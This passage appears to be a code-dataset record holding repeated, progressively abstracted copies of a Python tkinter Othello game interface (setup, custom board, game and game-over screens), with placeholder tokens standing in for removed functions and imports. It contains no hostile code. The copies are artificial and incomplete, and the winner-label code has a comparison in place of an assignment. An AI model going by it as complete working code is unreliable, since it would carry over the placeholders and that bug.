Select_First_Move(self, mover: str):\n if mover == 'black':\n self.controller.Handler.GameParams['first_move'] = 'B'\n else:\n self.controller.Handler.GameParams['first_move'] = 'W'\n self.black_btn.destroy()\n self.white_btn.destroy()\n self.first_move_label.configure(text='First to move: ' + mover)\n self.set_vals.append('move')\n self.Check_Can_Start()\n\n def Select_Condition(self, condition: str):\n self.controller.Handler.GameParams['game_winner'] = condition\n if condition == '>':\n self.condition_label.configure(text=\n 'The winner is, the player with more discs.')\n else:\n self.condition_label.configure(text=\n 'The winner is, the player with less discs.')\n self.lesser_score.destroy()\n self.greater_score.destroy()\n self.set_vals.append('win')\n self.Check_Can_Start()\n\n def Check_Can_Start(self):\n if ('rules' in self.set_vals and 'rows' in self.set_vals and 'cols' in\n self.set_vals and 'move' in self.set_vals and 'win' in self.\n set_vals):\n self.Start_Game_Btn.configure(bg='#22ff22', activebackground=\n '#229922', command=lambda : self.Start_Custom_Board())\n\n def Start_Custom_Board(self):\n self.controller.Pages['Setup_Board'].Setup_Board()\n self.controller.showPage('Setup_Board')\n self.controller.Pages['Setup_Board'].Instructions_Display()\n\n\nclass Custom_Board(tk.Frame):\n FrameName = 'Setup_Board'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title_Frame = tk.Frame(self, bg='white')\n self.Title_Frame.pack(side='top', fill='x')\n tk.Label(self.Title_Frame, text='Create Custom Board', bg='white',\n font=FONTS['medium']).pack(side='left')\n start = tk.Button(self.Title_Frame, text='Play', bg='#22ff22',\n activebackground='#229922', font=FONTS['medium'], command=lambda :\n self.Start())\n start.pack(side='right')\n self.Use_Board = tk.IntVar()\n Use_Board = tk.Checkbutton(self.Title_Frame, text=\n 'Use custom board', font=FONTS['medium'], bg='white',\n activebackground='white', var=self.Use_Board, onvalue=1, offvalue=0\n )\n Use_Board.pack(side='right', padx=10)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def Setup_Board(self):\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n self.Board = []\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, mode='setup')\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Parse_Board(self) ->list:\n new_board = []\n for row in self.Board:\n new_row = []\n for disc in row:\n if disc.Current_Color == 'white':\n new_row.append('W')\n elif disc.Current_Color == 'black':\n new_row.append('B')\n else:\n new_row.append(None)\n new_board.append(new_row)\n return new_board\n\n def Instructions_Display(self):\n showinfo('How to use',\n 'Click on a tile to cycle between white, black or empty. Check the \"Use Custom Board\" box to use this board!'\n )\n\n def Start(self):\n if self.Use_Board.get():\n self.controller.Handler.GameParams['board'] = self.Parse_Board()\n self.controller.Begin_Game()\n self.controller.Pages['Game'].__GUI_init__()\n self.controller.Pages['Game'].Update_Board()\n self.controller.showPage('Game')\n\n\nclass Game(tk.Frame):\n FrameName = 'Game'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def __GUI_init__(self):\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)\n )\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n self.Update_Board()\n\n def Reset_Game(self):\n self.Board = []\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n\n def Disc_Function(self, x: int, y: int):\n if not self.controller.Handler.Move(x + 1, y + 1):\n self.Invalid_Move()\n\n def Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n\n def Update_Board(self):\n for y in range(len(self.Board)):\n for x in range(len(self.Board[y])):\n game_piece = self.controller.Handler.Game.Board[y][x]\n if game_piece == None:\n pass\n elif game_piece == 'B':\n if self.Board[y][x].Current_Color != 'black':\n self.Board[y][x].Set_Piece_Color('black')\n elif game_piece == 'W':\n if self.Board[y][x].Current_Color != 'white':\n self.Board[y][x].Set_Piece_Color('white')\n\n def Update_Current_Player(self):\n self.Current_Player.config(text='Turn: ' + self.controller.\n Get_Current_Player())\n\n def Update_Game_Type(self):\n g_type = self.controller.Handler.Get_Game_Type()\n self.Game_Type.configure(text='Rules: ' + g_type)\n\n def Update_Score(self):\n b, w = self.controller.Handler.Get_Score()\n self.Score.configure(text='Black: {0!s} | {1!s} :White'.format(b, w))\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n", "<import token>\n<assignment token>\n<class token>\n\n\nclass Window(tk.Tk):\n <function token>\n\n def showPage(self, pagename: str):\n page = self.Pages[pagename]\n page.tkraise()\n <function token>\n\n def Get_Current_Player(self) ->str:\n return self.Handler.Get_Current_Player()\n <function token>\n\n\nclass Pregame(tk.Frame):\n FrameName = 'Pregame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.set_vals = []\n self.__GUI_Reset__()\n\n def __GUI_Reset__(self):\n for widget in self.winfo_children():\n widget.destroy()\n tk.Label(self, text='Otello', font=FONTS['large'], bg='white').pack(\n side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n rule_set_frame = tk.Frame(self, bg='white')\n rule_set_frame.pack(pady=10)\n self.rs_label = tk.Label(rule_set_frame, text='Rule Set', font=\n FONTS['medium'], bg='white')\n self.rs_label.pack(side='top')\n self.full_btn = tk.Button(rule_set_frame, text='FULL', font=FONTS[\n 'medium'], bg='#bbbbbb', command=lambda : self.Select_Rule_Set(\n 'full'))\n self.full_btn.pack()\n self.simple_btn = tk.Button(rule_set_frame, text='SIMPLE', font=\n FONTS['medium'], bg='#bbbbbb', command=lambda : self.\n Select_Rule_Set('simple'))\n self.simple_btn.pack()\n row_frame = tk.Frame(self, bg='white')\n row_frame.pack(pady=10)\n self.row_label = tk.Label(row_frame, text='Board Rows', font=FONTS[\n 'medium'], bg='white')\n self.row_label.grid(row=0, column=0, columnspan=7)\n self.Rows_Buttons = []\n place = 0\n for rows in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(row_frame, text=str(rows), font=FONTS['small'],\n bg='#bbbbbb', command=lambda rows=rows: self.Select_Rows(rows))\n x.grid(row=1, column=place)\n self.Rows_Buttons.append(x)\n place += 1\n col_frame = tk.Frame(self, bg='white')\n col_frame.pack(pady=10)\n self.col_label = tk.Label(col_frame, text='Board Columns', font=\n FONTS['medium'], bg='white')\n self.col_label.grid(row=0, column=0, columnspan=7)\n self.Cols_Buttons = []\n place = 0\n for cols in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(col_frame, text=str(cols), font=FONTS['small'],\n bg='#bbbbbb', command=lambda cols=cols: self.Select_Cols(cols))\n x.grid(row=1, column=place)\n self.Cols_Buttons.append(x)\n place += 1\n first_move_frame = tk.Frame(self, bg='white')\n first_move_frame.pack(pady=10)\n self.first_move_label = tk.Label(first_move_frame, text=\n 'First to move', bg='white', font=FONTS['medium'])\n self.first_move_label.grid(row=0, column=0, columnspan=2)\n self.black_btn = tk.Button(first_move_frame, text='Black', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('black'))\n self.black_btn.grid(row=1, column=0)\n self.white_btn = tk.Button(first_move_frame, text='White', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('white'))\n self.white_btn.grid(row=1, column=1)\n condition_frame = tk.Frame(self, bg='white')\n condition_frame.pack(pady=10)\n self.condition_label = tk.Label(condition_frame, text=\n 'The winner is, the player with..', bg='white', font=FONTS[\n 'medium'])\n self.condition_label.grid(row=0, column=0, columnspan=2)\n self.greater_score = tk.Button(condition_frame, text='more discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('>'))\n self.greater_score.grid(row=1, column=0)\n self.lesser_score = tk.Button(condition_frame, text='less discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('<'))\n self.lesser_score.grid(row=1, column=1)\n self.Start_Game_Btn = tk.Button(self, text='Start', bg='#ff2222',\n activebackground='#992222', font=FONTS['medium'])\n self.Start_Game_Btn.pack(side='bottom')\n\n def Select_Rule_Set(self, _set: str):\n if _set == 'simple':\n self.controller.Handler.GameParams['game_type'] = 1\n else:\n self.controller.Handler.GameParams['game_type'] = 2\n self.full_btn.destroy()\n self.simple_btn.destroy()\n self.rs_label.configure(text='Rule Set: ' + _set.upper())\n self.set_vals.append('rules')\n self.Check_Can_Start()\n\n def Select_Rows(self, rows: int):\n self.controller.Handler.GameParams['y_size'] = rows\n for button in self.Rows_Buttons:\n button.destroy()\n self.row_label.configure(text='Board Rows: ' + str(rows))\n self.set_vals.append('rows')\n self.Check_Can_Start()\n\n def Select_Cols(self, cols: int):\n self.controller.Handler.GameParams['x_size'] = cols\n for button in self.Cols_Buttons:\n button.destroy()\n self.col_label.configure(text='Board Columns: ' + str(cols))\n self.set_vals.append('cols')\n self.Check_Can_Start()\n\n def Select_First_Move(self, mover: str):\n if mover == 'black':\n self.controller.Handler.GameParams['first_move'] = 'B'\n else:\n self.controller.Handler.GameParams['first_move'] = 'W'\n self.black_btn.destroy()\n self.white_btn.destroy()\n self.first_move_label.configure(text='First to move: ' + mover)\n self.set_vals.append('move')\n self.Check_Can_Start()\n\n def Select_Condition(self, condition: str):\n self.controller.Handler.GameParams['game_winner'] = condition\n if condition == '>':\n self.condition_label.configure(text=\n 'The winner is, the player with more discs.')\n else:\n self.condition_label.configure(text=\n 'The winner is, the player with less discs.')\n self.lesser_score.destroy()\n self.greater_score.destroy()\n self.set_vals.append('win')\n self.Check_Can_Start()\n\n def Check_Can_Start(self):\n if ('rules' in self.set_vals and 'rows' in self.set_vals and 'cols' in\n self.set_vals and 'move' in self.set_vals and 'win' in self.\n set_vals):\n self.Start_Game_Btn.configure(bg='#22ff22', activebackground=\n '#229922', command=lambda : self.Start_Custom_Board())\n\n def Start_Custom_Board(self):\n self.controller.Pages['Setup_Board'].Setup_Board()\n self.controller.showPage('Setup_Board')\n self.controller.Pages['Setup_Board'].Instructions_Display()\n\n\nclass Custom_Board(tk.Frame):\n FrameName = 'Setup_Board'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title_Frame = tk.Frame(self, bg='white')\n self.Title_Frame.pack(side='top', fill='x')\n tk.Label(self.Title_Frame, text='Create Custom Board', bg='white',\n font=FONTS['medium']).pack(side='left')\n start = tk.Button(self.Title_Frame, text='Play', bg='#22ff22',\n activebackground='#229922', font=FONTS['medium'], command=lambda :\n self.Start())\n start.pack(side='right')\n self.Use_Board = tk.IntVar()\n Use_Board = tk.Checkbutton(self.Title_Frame, text=\n 'Use custom board', font=FONTS['medium'], bg='white',\n activebackground='white', var=self.Use_Board, onvalue=1, offvalue=0\n )\n Use_Board.pack(side='right', padx=10)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def Setup_Board(self):\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n self.Board = []\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, mode='setup')\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Parse_Board(self) ->list:\n new_board = []\n for row in self.Board:\n new_row = []\n for disc in row:\n if disc.Current_Color == 'white':\n new_row.append('W')\n elif disc.Current_Color == 'black':\n new_row.append('B')\n else:\n new_row.append(None)\n new_board.append(new_row)\n return new_board\n\n def Instructions_Display(self):\n showinfo('How to use',\n 'Click on a tile to cycle between white, black or empty. Check the \"Use Custom Board\" box to use this board!'\n )\n\n def Start(self):\n if self.Use_Board.get():\n self.controller.Handler.GameParams['board'] = self.Parse_Board()\n self.controller.Begin_Game()\n self.controller.Pages['Game'].__GUI_init__()\n self.controller.Pages['Game'].Update_Board()\n self.controller.showPage('Game')\n\n\nclass Game(tk.Frame):\n FrameName = 'Game'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def __GUI_init__(self):\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)\n )\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n self.Update_Board()\n\n def Reset_Game(self):\n self.Board = []\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n\n def Disc_Function(self, x: int, y: int):\n if not self.controller.Handler.Move(x + 1, y + 1):\n self.Invalid_Move()\n\n def Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n\n def Update_Board(self):\n for y in range(len(self.Board)):\n for x in range(len(self.Board[y])):\n game_piece = self.controller.Handler.Game.Board[y][x]\n if game_piece == None:\n pass\n elif game_piece == 'B':\n if self.Board[y][x].Current_Color != 'black':\n self.Board[y][x].Set_Piece_Color('black')\n elif game_piece == 'W':\n if self.Board[y][x].Current_Color != 'white':\n self.Board[y][x].Set_Piece_Color('white')\n\n def Update_Current_Player(self):\n self.Current_Player.config(text='Turn: ' + self.controller.\n Get_Current_Player())\n\n def Update_Game_Type(self):\n g_type = self.controller.Handler.Get_Game_Type()\n self.Game_Type.configure(text='Rules: ' + g_type)\n\n def Update_Score(self):\n b, w = self.controller.Handler.Get_Score()\n self.Score.configure(text='Black: {0!s} | {1!s} :White'.format(b, w))\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n", "<import token>\n<assignment token>\n<class token>\n\n\nclass Window(tk.Tk):\n <function token>\n <function token>\n <function token>\n\n def Get_Current_Player(self) ->str:\n return self.Handler.Get_Current_Player()\n <function token>\n\n\nclass Pregame(tk.Frame):\n FrameName = 'Pregame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.set_vals = []\n self.__GUI_Reset__()\n\n def __GUI_Reset__(self):\n for widget in self.winfo_children():\n widget.destroy()\n tk.Label(self, text='Otello', font=FONTS['large'], bg='white').pack(\n side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n rule_set_frame = tk.Frame(self, bg='white')\n rule_set_frame.pack(pady=10)\n self.rs_label = tk.Label(rule_set_frame, text='Rule Set', font=\n FONTS['medium'], bg='white')\n self.rs_label.pack(side='top')\n self.full_btn = tk.Button(rule_set_frame, text='FULL', font=FONTS[\n 'medium'], bg='#bbbbbb', command=lambda : self.Select_Rule_Set(\n 'full'))\n self.full_btn.pack()\n self.simple_btn = tk.Button(rule_set_frame, text='SIMPLE', font=\n FONTS['medium'], bg='#bbbbbb', command=lambda : self.\n Select_Rule_Set('simple'))\n self.simple_btn.pack()\n row_frame = tk.Frame(self, bg='white')\n row_frame.pack(pady=10)\n self.row_label = tk.Label(row_frame, text='Board Rows', font=FONTS[\n 'medium'], bg='white')\n self.row_label.grid(row=0, column=0, columnspan=7)\n self.Rows_Buttons = []\n place = 0\n for rows in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(row_frame, text=str(rows), font=FONTS['small'],\n bg='#bbbbbb', command=lambda rows=rows: self.Select_Rows(rows))\n x.grid(row=1, column=place)\n self.Rows_Buttons.append(x)\n place += 1\n col_frame = tk.Frame(self, bg='white')\n col_frame.pack(pady=10)\n self.col_label = tk.Label(col_frame, text='Board Columns', font=\n FONTS['medium'], bg='white')\n self.col_label.grid(row=0, column=0, columnspan=7)\n self.Cols_Buttons = []\n place = 0\n for cols in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(col_frame, text=str(cols), font=FONTS['small'],\n bg='#bbbbbb', command=lambda cols=cols: self.Select_Cols(cols))\n x.grid(row=1, column=place)\n self.Cols_Buttons.append(x)\n place += 1\n first_move_frame = tk.Frame(self, bg='white')\n first_move_frame.pack(pady=10)\n self.first_move_label = tk.Label(first_move_frame, text=\n 'First to move', bg='white', font=FONTS['medium'])\n self.first_move_label.grid(row=0, column=0, columnspan=2)\n self.black_btn = tk.Button(first_move_frame, text='Black', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('black'))\n self.black_btn.grid(row=1, column=0)\n self.white_btn = tk.Button(first_move_frame, text='White', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('white'))\n self.white_btn.grid(row=1, column=1)\n condition_frame = tk.Frame(self, bg='white')\n condition_frame.pack(pady=10)\n self.condition_label = tk.Label(condition_frame, text=\n 'The winner is, the player with..', bg='white', font=FONTS[\n 'medium'])\n self.condition_label.grid(row=0, column=0, columnspan=2)\n self.greater_score = tk.Button(condition_frame, text='more discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('>'))\n self.greater_score.grid(row=1, column=0)\n self.lesser_score = tk.Button(condition_frame, text='less discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('<'))\n self.lesser_score.grid(row=1, column=1)\n self.Start_Game_Btn = tk.Button(self, text='Start', bg='#ff2222',\n activebackground='#992222', font=FONTS['medium'])\n self.Start_Game_Btn.pack(side='bottom')\n\n def Select_Rule_Set(self, _set: str):\n if _set == 'simple':\n self.controller.Handler.GameParams['game_type'] = 1\n else:\n self.controller.Handler.GameParams['game_type'] = 2\n self.full_btn.destroy()\n self.simple_btn.destroy()\n self.rs_label.configure(text='Rule Set: ' + _set.upper())\n self.set_vals.append('rules')\n self.Check_Can_Start()\n\n def Select_Rows(self, rows: int):\n self.controller.Handler.GameParams['y_size'] = rows\n for button in self.Rows_Buttons:\n button.destroy()\n self.row_label.configure(text='Board Rows: ' + str(rows))\n self.set_vals.append('rows')\n self.Check_Can_Start()\n\n def Select_Cols(self, cols: int):\n self.controller.Handler.GameParams['x_size'] = cols\n for button in self.Cols_Buttons:\n button.destroy()\n self.col_label.configure(text='Board Columns: ' + str(cols))\n self.set_vals.append('cols')\n self.Check_Can_Start()\n\n def Select_First_Move(self, mover: str):\n if mover == 'black':\n self.controller.Handler.GameParams['first_move'] = 'B'\n else:\n self.controller.Handler.GameParams['first_move'] = 'W'\n self.black_btn.destroy()\n self.white_btn.destroy()\n self.first_move_label.configure(text='First to move: ' + mover)\n self.set_vals.append('move')\n self.Check_Can_Start()\n\n def Select_Condition(self, condition: str):\n self.controller.Handler.GameParams['game_winner'] = condition\n if condition == '>':\n self.condition_label.configure(text=\n 'The winner is, the player with more discs.')\n else:\n self.condition_label.configure(text=\n 'The winner is, the player with less discs.')\n self.lesser_score.destroy()\n self.greater_score.destroy()\n self.set_vals.append('win')\n self.Check_Can_Start()\n\n def Check_Can_Start(self):\n if ('rules' in self.set_vals and 'rows' in self.set_vals and 'cols' in\n self.set_vals and 'move' in self.set_vals and 'win' in self.\n set_vals):\n self.Start_Game_Btn.configure(bg='#22ff22', activebackground=\n '#229922', command=lambda : self.Start_Custom_Board())\n\n def Start_Custom_Board(self):\n self.controller.Pages['Setup_Board'].Setup_Board()\n self.controller.showPage('Setup_Board')\n self.controller.Pages['Setup_Board'].Instructions_Display()\n\n\nclass Custom_Board(tk.Frame):\n FrameName = 'Setup_Board'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title_Frame = tk.Frame(self, bg='white')\n self.Title_Frame.pack(side='top', fill='x')\n tk.Label(self.Title_Frame, text='Create Custom Board', bg='white',\n font=FONTS['medium']).pack(side='left')\n start = tk.Button(self.Title_Frame, text='Play', bg='#22ff22',\n activebackground='#229922', font=FONTS['medium'], command=lambda :\n self.Start())\n start.pack(side='right')\n self.Use_Board = tk.IntVar()\n Use_Board = tk.Checkbutton(self.Title_Frame, text=\n 'Use custom board', font=FONTS['medium'], bg='white',\n activebackground='white', var=self.Use_Board, onvalue=1, offvalue=0\n )\n Use_Board.pack(side='right', padx=10)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def Setup_Board(self):\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n self.Board = []\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, mode='setup')\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Parse_Board(self) ->list:\n new_board = []\n for row in self.Board:\n new_row = []\n for disc in row:\n if disc.Current_Color == 'white':\n new_row.append('W')\n elif disc.Current_Color == 'black':\n new_row.append('B')\n else:\n new_row.append(None)\n new_board.append(new_row)\n return new_board\n\n def Instructions_Display(self):\n showinfo('How to use',\n 'Click on a tile to cycle between white, black or empty. Check the \"Use Custom Board\" box to use this board!'\n )\n\n def Start(self):\n if self.Use_Board.get():\n self.controller.Handler.GameParams['board'] = self.Parse_Board()\n self.controller.Begin_Game()\n self.controller.Pages['Game'].__GUI_init__()\n self.controller.Pages['Game'].Update_Board()\n self.controller.showPage('Game')\n\n\nclass Game(tk.Frame):\n FrameName = 'Game'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, 